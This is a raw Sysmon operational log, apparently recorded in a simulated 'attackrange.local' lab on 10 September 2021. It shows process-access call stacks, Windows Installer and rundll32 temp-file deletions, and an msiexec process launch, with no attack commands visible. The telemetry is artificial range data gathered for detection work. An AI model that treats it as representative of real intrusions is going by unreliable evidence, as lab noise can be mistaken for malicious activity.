Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+5339a|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+5339a|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6497|C:\Windows\System32\shcore.dll+6387|C:\Windows\System32\shcore.dll+62fd|C:\Windows\System32\shcore.dll+620a|C:\Windows\System32\SHELL32.dll+d15ca|C:\Windows\System32\SHELL32.dll+84a44|C:\Windows\System32\SHELL32.dll+84698|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+d15b8|C:\Windows\System32\SHELL32.dll+84a44|C:\Windows\System32\SHELL32.dll+84698|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000043109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.393{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+d15b8|C:\Windows\System32\SHELL32.dll+84a44|C:\Windows\System32\SHELL32.dll+84698|C:\Windows\SYSTEM32\msi.dll+e280d|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aa012|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.143{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI9722.tmpMD5=93C9172D09C8CEA9E501445C6F780B15,SHA256=53E54175BC751969749F9AF40EE21E4662E5AA356693D4885FDE4A67BBFCE19E,IMPHASH=C2AAC1B2B9FA36FBEA7CD3D2B4516228truefalse - insufficient disk space 23542300x800000000000000043107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.065{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\wix.dllMD5=45688182A675C3B0563C9201D8F01B39,SHA256=4B3CF980A840F3E36D98FEF3B4D4C302313AC7E2EA3310F5D0D71722853975C7,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 10341000x800000000000000043137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.893{7BD73061-6F50-613B-0F09-00000000F001}71204616C:\Windows\syswow64\MsiExec.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\syswow64\MsiExec.exe+7291|C:\Windows\syswow64\MsiExec.exe+7873|C:\Windows\syswow64\MsiExec.exe+9201|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000043136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.783{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\syswow64\MsiExec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.737{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.705{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.705{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.705{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E32D57AD9A676F5DC8D4E2FECAF6EA5,SHA256=6AB4A90CBCE8520A65A7FFC04D6B20693CDDE891CCBE88F49C65A856D0471175,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000043131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.705{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.705{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.643{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.643{7BD73061-6E8E-613B-1107-00000000F001}41165272C:\Windows\system32\msiexec.exe{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ba6f5|C:\Windows\system32\Msi.dll+16c8f4|C:\Windows\system32\Msi.dll+16cf6c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000043127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.645{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\SysWOW64\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 33261428E15556C9A2185EC240A82ACBC:\Windows\SysWOW64\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=0BDEAEA7BB4AE7822416CD37EA8EE00D,SHA256=5C188CE4E21FAB002B4D669F91FA19341AB4260F83D798FDAC53229D675DB6BA,IMPHASH=B4730776DFCE61DBCD10D002E3D530E1{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 23542300x800000000000000013881Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4F8A3763E06E28803BDAB62CE9FE6747,SHA256=660700C705838FD05BDE1AA411D2F79E10F1606E5F47E655A03BAF5600AC000E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013880Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EBEC9F992A156483491CF9340F61B922,SHA256=43BEE270E6AD084EC752391804AF3CBDA779852FD17553C00769A0270FA9631D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013879Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB00186F6F8819D6802BF0A74C7D2DE0,SHA256=45933CF5959159D675048EBB9E253522594CD685C5B23154321A350E87AF6E5F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013878Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F50-613B-9604-00000000F101}2332C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013877Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013876Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013875Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013874Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013873Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013872Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C: